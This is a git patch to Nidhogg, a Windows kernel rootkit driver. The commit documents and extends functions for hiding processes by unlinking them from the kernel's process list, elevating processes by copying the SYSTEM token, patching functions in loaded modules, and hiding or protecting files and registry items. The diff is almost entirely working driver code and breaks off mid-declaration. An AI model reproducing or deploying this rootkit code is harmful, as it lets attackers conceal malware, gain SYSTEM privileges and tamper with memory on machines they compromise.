From 9da4d60e113779e31e7a3fd10ed981f12dc5fb43 Mon Sep 17 00:00:00 2001 From: Ido Veltzman <62358580+Idov31@users.noreply.github.com> Date: Tue, 11 Oct 2022 11:01:28 +0300 Subject: [PATCH 01/10] Added function documentation, refactored code --- Nidhogg/FileUtils.hpp | 41 ++++++ Nidhogg/Nidhogg.cpp | 177 +++++++++++++++++++++++++- Nidhogg/Nidhogg.h | 125 +++++++----------- Nidhogg/Nidhogg.vcxproj | 10 ++ Nidhogg/Nidhogg.vcxproj.filters | 12 ++ Nidhogg/NidhoggHelperFunctions.hpp | 42 ++++++ Nidhogg/NidhoggUtils.h | 8 ++ Nidhogg/ProcessUtils.hpp | 103 ++++++++++++++- Nidhogg/RegistryUtils.hpp | 157 +++++++++++++++++++++++ Nidhogg/WindowsTypes.h | 197 +++++++++++++++++++++++++++++ 10 files changed, 780 insertions(+), 92 deletions(-) create mode 100644 Nidhogg/NidhoggHelperFunctions.hpp create mode 100644 Nidhogg/NidhoggUtils.h create mode 100644 Nidhogg/WindowsTypes.h diff --git a/Nidhogg/FileUtils.hpp b/Nidhogg/FileUtils.hpp index 6a43636..7c3c39d 100644 --- a/Nidhogg/FileUtils.hpp +++ b/Nidhogg/FileUtils.hpp @@ -6,6 +6,17 @@ bool FindFile(WCHAR* path); bool AddFile(WCHAR* path); bool RemoveFile(WCHAR* path); +/* +* Description: +* OnPreFileOperation is responsible for handling file access operations and remove certain permissions from protected files. +* +* Parameters: +* @RegistrationContext [PVOID] -- Unused. +* @Info [POB_PRE_OPERATION_INFORMATION] -- Contains important information such as file name, file object, object type, etc. +* +* Returns: +* @status [NTSTATUS] -- Always OB_PREOP_SUCCESS. +*/ OB_PREOP_CALLBACK_STATUS OnPreFileOperation(PVOID /* RegistrationContext */, POB_PRE_OPERATION_INFORMATION Info) { POBJECT_NAME_INFORMATION ObjectNameInfo; UNICODE_STRING filePath; @@ -51,6 +62,16 @@ OB_PREOP_CALLBACK_STATUS OnPreFileOperation(PVOID /* RegistrationContext */, POB return OB_PREOP_SUCCESS; } +/* +* Description: +* FindFile is responsible for searching if a file exists in the protected files list. +* +* Parameters: +* @path [WCHAR*] -- File's path. +* +* Returns: +* @status [bool] -- Whether found or not. +*/ bool FindFile(WCHAR* path) { for (int i = 0; i < fGlobals.Files.FilesCount; i++) if (_wcsicmp(fGlobals.Files.FilesPath[i], path) == 0) @@ -58,6 +79,16 @@ bool FindFile(WCHAR* path) { return false; } +/* +* Description: +* AddFile is responsible for adding a file to the protected files list. +* +* Parameters: +* @path [WCHAR*] -- File's path. +* +* Returns: +* @status [bool] -- Whether successfully added or not. +*/ bool AddFile(WCHAR* path) { for (int i = 0; i < MAX_FILES; i++) if (fGlobals.Files.FilesPath[i] == nullptr) { @@ -77,6 +108,16 @@ bool AddFile(WCHAR* path) { return false; } +/* +* Description: +* RemoveFile is responsible for removing a file to the protected files list. +* +* Parameters: +* @path [WCHAR*] -- File's path. +* +* Returns: +* @status [bool] -- Whether successfully removed or not. +*/ bool RemoveFile(WCHAR* path) { for (int i = 0; i < fGlobals.Files.FilesCount; i++) if (_wcsicmp(fGlobals.Files.FilesPath[i], path) == 0) { diff --git a/Nidhogg/Nidhogg.cpp b/Nidhogg/Nidhogg.cpp index 7735d40..2be0daa 100644 --- a/Nidhogg/Nidhogg.cpp +++ b/Nidhogg/Nidhogg.cpp @@ -1,8 +1,6 @@ #include "pch.h" #include "Nidhogg.h" -#include "ProcessUtils.hpp" -#include "FileUtils.hpp" -#include "RegistryUtils.hpp" +#include "NidhoggUtils.h" extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) { @@ -10,6 +8,8 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) { pGlobals.Init(); fGlobals.Init(); rGlobals.Init(); + pmGlobals.Init(); + dimGlobals.Init(); // Setting up the device object. UNICODE_STRING deviceName = RTL_CONSTANT_STRING(DRIVER_DEVICE_NAME); @@ -68,11 +68,27 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) { return status; } + status = PsSetLoadImageNotifyRoutine(OnImageLoad); + + if (!NT_SUCCESS(status)) { + KdPrint((DRIVER_PREFIX "failed to register image notify callback: (0x%08X)\n", status)); + + if (registrationHandle) { + ObUnRegisterCallbacks(registrationHandle); + registrationHandle = NULL; + } + IoDeleteSymbolicLink(&symbolicLink); + IoDeleteDevice(DeviceObject); + return status; + } + status = CmRegisterCallbackEx(OnRegistryNotify, ®Altitude, DriverObject, nullptr, &rGlobals.RegCookie, nullptr); if (!NT_SUCCESS(status)) { KdPrint((DRIVER_PREFIX "failed to register registry callback: (0x%08X)\n", status)); + PsRemoveLoadImageNotifyRoutine(OnImageLoad); + if (registrationHandle) { ObUnRegisterCallbacks(registrationHandle); registrationHandle = NULL; @@ -91,7 +107,16 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) { return status; } - +/* +* Description: +* NidhoggUnload is responsible for handling the driver unloading process which includes: Removing all hooks, deleting the symbolic link and the deviceobject. +* +* Parameters: +* @DriverObject [PDRIVER_OBJECT] -- The driver object contains a lot of important driver configuration such as DeviceObject, MajorFunctions and more. +* +* Returns: +* There is no return value. +*/ void NidhoggUnload(PDRIVER_OBJECT DriverObject) { KdPrint((DRIVER_PREFIX "Unloading...\n")); @@ -100,6 +125,13 @@ void NidhoggUnload(PDRIVER_OBJECT DriverObject) { if (!NT_SUCCESS(status)) { KdPrint((DRIVER_PREFIX "failed to unregister registry callbacks: (0x%08X)\n", status)); } + + status = PsRemoveLoadImageNotifyRoutine(OnImageLoad); + + if (!NT_SUCCESS(status)) { + KdPrint((DRIVER_PREFIX "failed to unregister image load callback: (0x%08X)\n", status)); + } + ClearAll(); // To avoid BSOD. @@ -107,12 +139,24 @@ void NidhoggUnload(PDRIVER_OBJECT DriverObject) { ObUnRegisterCallbacks(registrationHandle); registrationHandle = NULL; } + UNICODE_STRING symbolicLink = RTL_CONSTANT_STRING(DRIVER_SYMBOLIC_LINK); IoDeleteSymbolicLink(&symbolicLink); IoDeleteDevice(DriverObject->DeviceObject); } - +/* +* Description: +* CompleteIrp is responsible for handling the status return via the IRP. +* +* Parameters: +* @Irp [PIRP] -- The IRP that contains the request's status. +* @status [NTSTATUS] -- The status to assign to the IRP. +* @info [ULONG_PTR] -- Additional information to assign to the IRP. +* +* Returns: +* @status [NTSTATUS] -- The given status parameter. +*/ NTSTATUS CompleteIrp(PIRP Irp, NTSTATUS status, ULONG_PTR info) { Irp->IoStatus.Status = status; Irp->IoStatus.Information = info; @@ -120,7 +164,17 @@ NTSTATUS CompleteIrp(PIRP Irp, NTSTATUS status, ULONG_PTR info) { return status; } - +/* +* Description: +* NidhoggCreateClose is responsible for creating a success response for given IRP. +* +* Parameters: +* @DeviceObject [PDEVICE_OBJECT] -- Not used. +* @Irp [PIRP] -- The IRP that contains the user data such as SystemBuffer, Irp stack, etc. +* +* Returns: +* @status [NTSTATUS] -- Always will be STATUS_SUCCESS. +*/ NTSTATUS NidhoggCreateClose(PDEVICE_OBJECT, PIRP Irp) { Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; @@ -128,7 +182,18 @@ NTSTATUS NidhoggCreateClose(PDEVICE_OBJECT, PIRP Irp) { return STATUS_SUCCESS; } - +/* +* Description: +* NidhoggDeviceControl is responsible for handling IOCTLs and returning output to the user via IRPs. +* Every user communication should go through this function using the relevant IOCTL. +* +* Parameters: +* @DeviceObject [PDEVICE_OBJECT] -- Not used. +* @Irp [PIRP] -- The IRP that contains the user data such as SystemBuffer, Irp stack, etc. +* +* Returns: +* @status [NTSTATUS] -- Whether the function succeeded or not, if not the error code. +*/ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { auto stack = IoGetCurrentIrpStackLocation(Irp); auto status = STATUS_SUCCESS; @@ -696,6 +761,79 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { break; } + case IOCTL_NIDHOGG_PATCH_MODULE: + { + auto size = stack->Parameters.DeviceIoControl.InputBufferLength; + + if (size % sizeof(PatchedModule) != 0) { + KdPrint((DRIVER_PREFIX "Invalid buffer type.\n")); + status = STATUS_INVALID_BUFFER_SIZE; + break; + } + + auto data = (PatchedModule*)Irp->AssociatedIrp.SystemBuffer; + + if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0 || strlen((char*)(*data).Patch) == 0) { + KdPrint((DRIVER_PREFIX "Buffer is empty.\n")); + status = STATUS_INVALID_PARAMETER; + break; + } + + AutoLock locker(pmGlobals.Lock); + + if (pmGlobals.ModulesList.PatchedModulesCount == MAX_PATCHED_MODULES) { + KdPrint((DRIVER_PREFIX "Module list is full.\n")); + status = STATUS_TOO_MANY_CONTEXT_IDS; + break; + } + + if (!FindModule(*data)) { + if (!AddModule(*data)) { + KdPrint((DRIVER_PREFIX "Failed to add module.\n")); + status = STATUS_UNSUCCESSFUL; + break; + } + + auto prevIrql = KeGetCurrentIrql(); + KeLowerIrql(PASSIVE_LEVEL); + KdPrint((DRIVER_PREFIX "Patching module %ws.\n", (*data).ModuleName)); + KeRaiseIrql(prevIrql, &prevIrql); + break; + } + } + + case IOCTL_NIDHOGG_UNPATCH_MODULE: + { + auto size = stack->Parameters.DeviceIoControl.InputBufferLength; + + if (size % sizeof(PatchedModule) != 0) { + KdPrint((DRIVER_PREFIX "Invalid buffer type.\n")); + status = STATUS_INVALID_BUFFER_SIZE; + break; + } + + auto data = (PatchedModule*)Irp->AssociatedIrp.SystemBuffer; + + if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0) { + KdPrint((DRIVER_PREFIX "Buffer is empty.\n")); + status = STATUS_INVALID_PARAMETER; + break; + } + + AutoLock locker(pmGlobals.Lock); + + if (!RemoveModule(*data)) { + KdPrint((DRIVER_PREFIX "Module not found.\n")); + status = STATUS_NOT_FOUND; + break; + } + auto prevIrql = KeGetCurrentIrql(); + KeLowerIrql(PASSIVE_LEVEL); + KdPrint((DRIVER_PREFIX "Removed patched module %ws.\n", (*data).ModuleName)); + KeRaiseIrql(prevIrql, &prevIrql); + break; + } + default: status = STATUS_INVALID_DEVICE_REQUEST; break; @@ -707,6 +845,16 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { return status; } +/* +* Description: +* ClearAll is responsible for freeing all allocated memory and cleaning all the globals. +* +* Parameters: +* There are no parameters. +* +* Returns: +* There is no return value. +*/ void ClearAll() { // Clearing the process array. AutoLock processLocker(pGlobals.Lock); @@ -739,4 +887,19 @@ void ClearAll() { rGlobals.ProtectedItems.Values.ValuesName[i] = nullptr; } rGlobals.ProtectedItems.Values.ValuesCount = 0; + + AutoLock moduleLocker(pmGlobals.Lock); + + for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) { + if (pmGlobals.ModulesList.Modules[i].FunctionName) + ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].FunctionName, DRIVER_TAG); + if (pmGlobals.ModulesList.Modules[i].ModuleName) + ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].ModuleName, DRIVER_TAG); + if (pmGlobals.ModulesList.Modules[i].Patch) + ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].Patch, DRIVER_TAG); + pmGlobals.ModulesList.Modules[i].FunctionName = nullptr; + pmGlobals.ModulesList.Modules[i].ModuleName = nullptr; + pmGlobals.ModulesList.Modules[i].Patch = nullptr; + } + pmGlobals.ModulesList.PatchedModulesCount = 0; } diff --git a/Nidhogg/Nidhogg.h b/Nidhogg/Nidhogg.h index 2c885a5..473cd8c 100644 --- a/Nidhogg/Nidhogg.h +++ b/Nidhogg/Nidhogg.h @@ -28,8 +28,13 @@ #define IOCTL_NIDHOGG_UNPROTECT_REGITEM CTL_CODE(0x8000, 0x80B, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_CLEAR_REGITEMS CTL_CODE(0x8000, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_QUERY_REGITEMS CTL_CODE(0x8000, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#define IOCTL_NIDHOGG_GLOBAL_PATCH_MODULE CTL_CODE(0x8000, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_GLOBAL_UNPATCH_MODULE CTL_CODE(0x8000, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_PATCH_MODULE CTL_CODE(0x8000, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS) // ***************************************************************************************************** +#define MAX_PATCHED_MODULES 256 #define MAX_PIDS 256 #define MAX_PATH 260 #define MAX_FILES 256 @@ -43,21 +48,58 @@ DRIVER_UNLOAD NidhoggUnload; DRIVER_DISPATCH NidhoggDeviceControl, NidhoggCreateClose; void ClearAll(); +typedef NTSTATUS(NTAPI* tZwProtectVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, SIZE_T* NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection); +typedef NTSTATUS(NTAPI* tMmCopyVirtualMemory)(PEPROCESS SourceProcess, PVOID SourceAddress, PEPROCESS TargetProcess, PVOID TargetAddress, SIZE_T BufferSize, KPROCESSOR_MODE PreviousMode, PSIZE_T ReturnSize); + // Globals. PVOID registrationHandle = NULL; +struct DynamicImportedModulesGlobal { + tZwProtectVirtualMemory ZwProtectVirtualMemory; + tMmCopyVirtualMemory MmCopyVirtualMemory; + + void Init() { + UNICODE_STRING routineName; + RtlInitUnicodeString(&routineName, L"ZwProtectVirtualMemory"); + ZwProtectVirtualMemory = (tZwProtectVirtualMemory)MmGetSystemRoutineAddress(&routineName); + RtlInitUnicodeString(&routineName, L"MmCopyVirtualMemory"); + MmCopyVirtualMemory = (tMmCopyVirtualMemory)MmGetSystemRoutineAddress(&routineName); + } +}; +DynamicImportedModulesGlobal dimGlobals; + +struct PatchedModule { + PUCHAR Patch; + CHAR* FunctionName; + WCHAR* ModuleName; +}; + +struct PatchedModulesList { + int PatchedModulesCount; + PatchedModule Modules[MAX_PATCHED_MODULES]; +}; + +struct PatchedModulesGlobal { + PatchedModulesList ModulesList; + FastMutex Lock; + + void Init() { + ModulesList.PatchedModulesCount = 0; + Lock.Init(); + } +}; +PatchedModulesGlobal pmGlobals; + struct ProcessesList { int PidsCount; ULONG Pids[MAX_PIDS]; }; struct ProcessGlobals { - bool BypassAMSI; ProcessesList Processes; FastMutex Lock; void Init() { - BypassAMSI = false; Processes.PidsCount = 0; Lock.Init(); } @@ -123,82 +165,3 @@ struct RegistryGlobals { } }; RegistryGlobals rGlobals; - -// Undocumented structs -struct _OBJECT_TYPE_INITIALIZER_TEMP -{ - USHORT Length; //0x0 - union - { - USHORT ObjectTypeFlags; //0x2 - struct - { - UCHAR CaseInsensitive : 1; //0x2 - UCHAR UnnamedObjectsOnly : 1; //0x2 - UCHAR UseDefaultObject : 1; //0x2 - UCHAR SecurityRequired : 1; //0x2 - UCHAR MaintainHandleCount : 1; //0x2 - UCHAR MaintainTypeList : 1; //0x2 - UCHAR SupportsObjectCallbacks : 1; //0x2 - UCHAR CacheAligned : 1; //0x2 - UCHAR UseExtendedParameters : 1; //0x3 - UCHAR Reserved : 7; //0x3 - }; - }; - ULONG ObjectTypeCode; //0x4 - ULONG InvalidAttributes; //0x8 - struct _GENERIC_MAPPING GenericMapping; //0xc - ULONG ValidAccessMask; //0x1c - ULONG RetainAccess; //0x20 - enum _POOL_TYPE PoolType; //0x24 - ULONG DefaultPagedPoolCharge; //0x28 - ULONG DefaultNonPagedPoolCharge; //0x2c - VOID(*DumpProcedure)(VOID* arg1, struct _OBJECT_DUMP_CONTROL* arg2); //0x30 - LONG(*OpenProcedure)(enum _OB_OPEN_REASON arg1, CHAR arg2, struct _EPROCESS* arg3, VOID* arg4, ULONG* arg5, ULONG arg6); //0x38 - VOID(*CloseProcedure)(struct _EPROCESS* arg1, VOID* arg2, ULONGLONG arg3, ULONGLONG arg4); //0x40 - VOID(*DeleteProcedure)(VOID* arg1); //0x48 - union - { - LONG(*ParseProcedure)(VOID* arg1, VOID* arg2, struct _ACCESS_STATE* arg3, CHAR arg4, ULONG arg5, struct _UNICODE_STRING* arg6, struct _UNICODE_STRING* arg7, VOID* arg8, struct _SECURITY_QUALITY_OF_SERVICE* arg9, VOID** arg10); //0x50 - LONG(*ParseProcedureEx)(VOID* arg1, VOID* arg2, struct _ACCESS_STATE* arg3, CHAR arg4, ULONG arg5, struct _UNICODE_STRING* arg6, struct _UNICODE_STRING* arg7, VOID* arg8, struct _SECURITY_QUALITY_OF_SERVICE* arg9, struct _OB_EXTENDED_PARSE_PARAMETERS* arg10, VOID** arg11); //0x50 - }; - LONG(*SecurityProcedure)(VOID* arg1, enum _SECURITY_OPERATION_CODE arg2, ULONG* arg3, VOID* arg4, ULONG* arg5, VOID** arg6, enum _POOL_TYPE arg7, struct _GENERIC_MAPPING* arg8, CHAR arg9); //0x58 - LONG(*QueryNameProcedure)(VOID* arg1, UCHAR arg2, struct _OBJECT_NAME_INFORMATION* arg3, ULONG arg4, ULONG* arg5, CHAR arg6); //0x60 - UCHAR(*OkayToCloseProcedure)(struct _EPROCESS* arg1, VOID* arg2, VOID* arg3, CHAR arg4); //0x68 - ULONG WaitObjectFlagMask; //0x70 - USHORT WaitObjectFlagOffset; //0x74 - USHORT WaitObjectPointerOffset; //0x76 -}; - -struct _EX_PUSH_LOCK_TEMP -{ - union - { - struct - { - ULONGLONG Locked : 1; //0x0 - ULONGLONG Waiting : 1; //0x0 - ULONGLONG Waking : 1; //0x0 - ULONGLONG MultipleShared : 1; //0x0 - ULONGLONG Shared : 60; //0x0 - }; - ULONGLONG Value; //0x0 - VOID* Ptr; //0x0 - }; -}; - -typedef struct _OBJECT_TYPE_TEMP -{ - struct _LIST_ENTRY TypeList; //0x0 - struct _UNICODE_STRING Name; //0x10 - VOID* DefaultObject; //0x20 - UCHAR Index; //0x28 - ULONG TotalNumberOfObjects; //0x2c - ULONG TotalNumberOfHandles; //0x30 - ULONG HighWaterNumberOfObjects; //0x34 - ULONG HighWaterNumberOfHandles; //0x38 - struct _OBJECT_TYPE_INITIALIZER_TEMP TypeInfo; //0x40 - struct _EX_PUSH_LOCK_TEMP TypeLock; //0xb8 - ULONG Key; //0xc0 - struct _LIST_ENTRY CallbackList; //0xc8 -} OBJECT_TYPE_TEMP, * POBJECT_TYPE_TEMP; diff --git a/Nidhogg/Nidhogg.vcxproj b/Nidhogg/Nidhogg.vcxproj index d2d4c45..52f46bd 100644 --- a/Nidhogg/Nidhogg.vcxproj +++ b/Nidhogg/Nidhogg.vcxproj @@ -156,6 +156,9 @@ /INTEGRITYCHECK %(AdditionalOptions) + + + %(AdditionalDependencies);$(KernelBufferOverflowLib);$(DDK_LIB_PATH)ntoskrnl.lib;$(DDK_LIB_PATH)hal.lib;$(DDK_LIB_PATH)wmilib.lib @@ -171,6 +174,9 @@ /INTEGRITYCHECK %(AdditionalOptions) + + + %(AdditionalDependencies);$(KernelBufferOverflowLib);$(DDK_LIB_PATH)ntoskrnl.lib;$(DDK_LIB_PATH)hal.lib;$(DDK_LIB_PATH)wmilib.lib false @@ -189,10 +195,14 @@ + + + + diff --git a/Nidhogg/Nidhogg.vcxproj.filters b/Nidhogg/Nidhogg.vcxproj.filters index 5e31538..93a04f3 100644 --- a/Nidhogg/Nidhogg.vcxproj.filters +++ b/Nidhogg/Nidhogg.vcxproj.filters @@ -40,6 +40,18 @@ Header Files + + Header Files + + + Header Files + + + Header Files + + + Header Files + diff --git a/Nidhogg/NidhoggHelperFunctions.hpp b/Nidhogg/NidhoggHelperFunctions.hpp new file mode 100644 index 0000000..56504a3 --- /dev/null +++ b/Nidhogg/NidhoggHelperFunctions.hpp @@ -0,0 +1,42 @@ +#pragma once +#include "pch.h" + +/* +* Description: +* wcisstr is responsible for comparing two wchar_t* and find if one contains the other (case insensitive). +* +* Parameters: +* @haystack [wchar_t*] -- Possible container. +* @needle [wchar_t*] -- Possible contained. +* +* Returns: +* @status [bool] -- Whether haystack is contains needle. +*/ +bool wcisstr(wchar_t* haystack, wchar_t* needle) { + int j = 0; + size_t index = wcslen(haystack) - wcslen(needle); + + auto needleInHaystackLen = (wcslen(needle) + 1) * sizeof(WCHAR); + auto needleInHaystack = (WCHAR*)ExAllocatePoolWithTag(PagedPool, needleInHaystackLen, DRIVER_TAG); + + if (!needleInHaystack) + return false; + + for (size_t i = index; i < wcslen(haystack); i++) { + if (j >= wcslen(needle)) + break; + + needleInHaystack[j] = haystack[i]; + j++; + } + + needleInHaystack[wcslen(needle)] = L'\0'; + + if (_wcsicmp(needleInHaystack, needle) == 0) { + ExFreePoolWithTag(needleInHaystack, DRIVER_TAG); + return true; + } + + ExFreePoolWithTag(needleInHaystack, DRIVER_TAG); + return false; +} diff --git a/Nidhogg/NidhoggUtils.h b/Nidhogg/NidhoggUtils.h new file mode 100644 index 0000000..ff7a9c6 --- /dev/null +++ b/Nidhogg/NidhoggUtils.h @@ -0,0 +1,8 @@ +#pragma once +#include "pch.h" +#include "WindowsTypes.h" +#include "NidhoggHelperFunctions.hpp" +#include "ProcessUtils.hpp" +#include "FileUtils.hpp" +#include "RegistryUtils.hpp" +#include "ModuleUtils.hpp" diff --git a/Nidhogg/ProcessUtils.hpp b/Nidhogg/ProcessUtils.hpp index 6826058..f2955c4 100644 --- a/Nidhogg/ProcessUtils.hpp +++ b/Nidhogg/ProcessUtils.hpp @@ -8,6 +8,16 @@ #define PROCESS_VM_READ 0x10 #define PROCESS_VM_OPERATION 8 +/* +* Description: +* FindProcess is responsible for searching if a process exists in the list of protected processes. +* +* Parameters: +* @pid [ULONG] -- PID to search. +* +* Returns: +* @status [bool] -- Whether found or not. +*/ bool FindProcess(ULONG pid) { for (int i = 0; i < pGlobals.Processes.PidsCount; i++) if (pGlobals.Processes.Pids[i] == pid) @@ -15,6 +25,16 @@ bool FindProcess(ULONG pid) { return false; } +/* +* Description: +* AddProcess is responsible for adding a process to the list of protected processes. +* +* Parameters: +* @pid [ULONG] -- PID to add. +* +* Returns: +* @status [bool] -- Whether successfully added or not. +*/ bool AddProcess(ULONG pid) { for (int i = 0; i < MAX_PIDS; i++) if (pGlobals.Processes.Pids[i] == 0) { @@ -25,6 +45,16 @@ bool AddProcess(ULONG pid) { return false; } +/* +* Description: +* RemoveProcess is responsible for remove a process from the list of protected processes. +* +* Parameters: +* @pid [ULONG] -- PID to remove. +* +* Returns: +* @status [bool] -- Whether successfully removed or not. +*/ bool RemoveProcess(ULONG pid) { for (int i = 0; i < pGlobals.Processes.PidsCount; i++) if (pGlobals.Processes.Pids[i] == pid) { @@ -35,12 +65,23 @@ bool RemoveProcess(ULONG pid) { return false; } +/* +* Description: +* OnPreOpenProcess is responsible for handling process access operations and remove certain permissions from protected processes. +* +* Parameters: +* @RegistrationContext [PVOID] -- Unused. +* @Info [POB_PRE_OPERATION_INFORMATION] -- Contains important information such as process name, handle to the process, process type, etc. +* +* Returns: +* @status [NTSTATUS] -- Always OB_PREOP_SUCCESS. +*/ OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID /* RegistrationContext */, POB_PRE_OPERATION_INFORMATION Info) { if (Info->KernelHandle) return OB_PREOP_SUCCESS; - auto process = (PEPROCESS)Info->Object; - auto pid = HandleToULong(PsGetProcessId(process)); + auto Process = (PEPROCESS)Info->Object; + auto pid = HandleToULong(PsGetProcessId(Process)); AutoLock locker(pGlobals.Lock); @@ -56,6 +97,16 @@ OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID /* RegistrationContext */, POB_P return OB_PREOP_SUCCESS; } +/* +* Description: +* GetActiveProcessLinksOffset is responsible for getting the active process link offset depends on the windows version. +* +* Parameters: +* There are no parameters. +* +* Returns: +* @activeProcessLinks [ULONG] -- Offset of active process links. +*/ ULONG GetActiveProcessLinksOffset() { ULONG activeProcessLinks = (ULONG)STATUS_UNSUCCESSFUL; RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; @@ -85,7 +136,18 @@ ULONG GetActiveProcessLinksOffset() { return activeProcessLinks; } -VOID RemoveProcessLinks(PLIST_ENTRY current) { +/* +* Description: +* RemoveProcessLinks is responsible for modifying the list by connecting the previous entry to the next entry and by +* that "removing" the current entry. +* +* Parameters: +* @current [PLIST_ENTRY] -- Current process entry. +* +* Returns: +* There is no return value. +*/ +void RemoveProcessLinks(PLIST_ENTRY current) { PLIST_ENTRY previous, next; /* @@ -112,6 +174,16 @@ VOID RemoveProcessLinks(PLIST_ENTRY current) { current->Flink = (PLIST_ENTRY)¤t->Flink; } +/* +* Description: +* HideProcess is responsible for hiding a process by modifying the process list. +* +* Parameters: +* @pid [ULONG] -- PID to hide. +* +* Returns: +* @status [NTSTATUS] -- Whether successfully hidden or not. +*/ NTSTATUS HideProcess(ULONG pid) { // Getting the offset depending on the OS version. ULONG pidOffset = GetActiveProcessLinksOffset(); @@ -152,6 +224,16 @@ NTSTATUS HideProcess(ULONG pid) { return STATUS_SUCCESS; } +/* +* Description: +* GetTokenOffset is responsible for getting the main thread's token offset depends on the windows version. +* +* Parameters: +* There are no parameters. +* +* Returns: +* @tokenOffset [UINT64] -- Offset of the main thread's token. +*/ UINT64 GetTokenOffset() { UINT64 tokenOffset = (UINT64)STATUS_UNSUCCESSFUL; RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; @@ -181,6 +263,16 @@ UINT64 GetTokenOffset() { return tokenOffset; } +/* +* Description: +* ElevateProcess is responsible for stealing a token from the SYSTEM process and giving it to other process. +* +* Parameters: +* @pid [ULONG] -- PID to elevate. +* +* Returns: +* @status [NTSTATUS] -- Whether successfully elevated or not. +*/ NTSTATUS ElevateProcess(ULONG targetPid) { PEPROCESS privilegedProcess, targetProcess; NTSTATUS status = STATUS_SUCCESS; @@ -197,10 +289,13 @@ NTSTATUS ElevateProcess(ULONG targetPid) { if (!NT_SUCCESS(status)) { + ObDereferenceObject(targetProcess); return status; } * (UINT64*)((UINT64)targetProcess + tokenOffset) = *(UINT64*)(UINT64(privilegedProcess) + tokenOffset); + ObDereferenceObject(privilegedProcess); + ObDereferenceObject(targetProcess); return status; -} \ No newline at end of file +} diff --git a/Nidhogg/RegistryUtils.hpp b/Nidhogg/RegistryUtils.hpp index 9942fa4..1c8a000 100644 --- a/Nidhogg/RegistryUtils.hpp +++ b/Nidhogg/RegistryUtils.hpp @@ -23,6 +23,18 @@ NTSTATUS RegNtPreSetValueKeyHandler(REG_SET_VALUE_KEY_INFORMATION* info); NTSTATUS RegNtPostEnumerateKeyHandler(REG_POST_OPERATION_INFORMATION* info); NTSTATUS RegNtPostEnumerateValueKeyHandler(REG_POST_OPERATION_INFORMATION* info); +/* +* Description: +* OnRegistryNotify is responsible for handling registry operations and handle some of them. +* +* Parameters: +* @context [PVOID] -- Unused. +* @arg1 [PVOID] -- Type of operation. +* @arg2 [PVOID] -- Operation's information. +* +* Returns: +* @status [NTSTATUS] -- Whether the operation was successful or not. +*/ NTSTATUS OnRegistryNotify(PVOID context, PVOID arg1, PVOID arg2) { UNREFERENCED_PARAMETER(context); NTSTATUS status = STATUS_SUCCESS; @@ -57,6 +69,16 @@ NTSTATUS OnRegistryNotify(PVOID context, PVOID arg1, PVOID arg2) { return status; } +/* +* Description: +* RegNtPreDeleteKeyHandler is responsible for handling registry key deletion and block it for protected registry keys. +* +* Parameters: +* @info [REG_DELETE_KEY_INFORMATION*] -- Contains important information such as key path, key object, etc. +* +* Returns: +* @status [NTSTATUS] -- Whether the operation was successful or not. +*/ NTSTATUS RegNtPreDeleteKeyHandler(REG_DELETE_KEY_INFORMATION* info) { RegItem regItem; PCUNICODE_STRING regPath; @@ -91,6 +113,16 @@ NTSTATUS RegNtPreDeleteKeyHandler(REG_DELETE_KEY_INFORMATION* info) { return status; } +/* +* Description: +* RegNtPreDeleteValueKeyHandler is responsible for handling registry value deletion and block it for protected registry values. +* +* Parameters: +* @info [REG_DELETE_VALUE_KEY_INFORMATION*] -- Contains important information such as key path, value name, key object, etc. +* +* Returns: +* @status [NTSTATUS] -- Whether the operation was successful or not. +*/ NTSTATUS RegNtPreDeleteValueKeyHandler(REG_DELETE_VALUE_KEY_INFORMATION* info) { RegItem regItem; PCUNICODE_STRING regPath; @@ -126,6 +158,16 @@ NTSTATUS RegNtPreDeleteValueKeyHandler(REG_DELETE_VALUE_KEY_INFORMATION* info) { return status; } +/* +* Description: +* RegNtPreQueryKeyHandler is responsible for handling registry key query and block it for hidden registry keys. +* +* Parameters: +* @info [REG_QUERY_KEY_INFORMATION*] -- Contains important information such as key path, key object, etc. +* +* Returns: +* @status [NTSTATUS] -- Whether the operation was successful or not. +*/ NTSTATUS RegNtPreQueryKeyHandler(REG_QUERY_KEY_INFORMATION* info) { RegItem regItem; PCUNICODE_STRING regPath; @@ -160,6 +202,16 @@ NTSTATUS RegNtPreQueryKeyHandler(REG_QUERY_KEY_INFORMATION* info) { return status; } +/* +* Description: +* RegNtPreQueryValueKeyHandler is responsible for handling registry value query and block it for hidden registry values. +* +* Parameters: +* @info [REG_QUERY_VALUE_KEY_INFORMATION*] -- Contains important information such as key path, value name, key object, etc. +* +* Returns: +* @status [NTSTATUS] -- Whether the operation was successful or not. +*/ NTSTATUS RegNtPreQueryValueKeyHandler(REG_QUERY_VALUE_KEY_INFORMATION* info) { RegItem regItem; PCUNICODE_STRING regPath; @@ -195,6 +247,16 @@ NTSTATUS 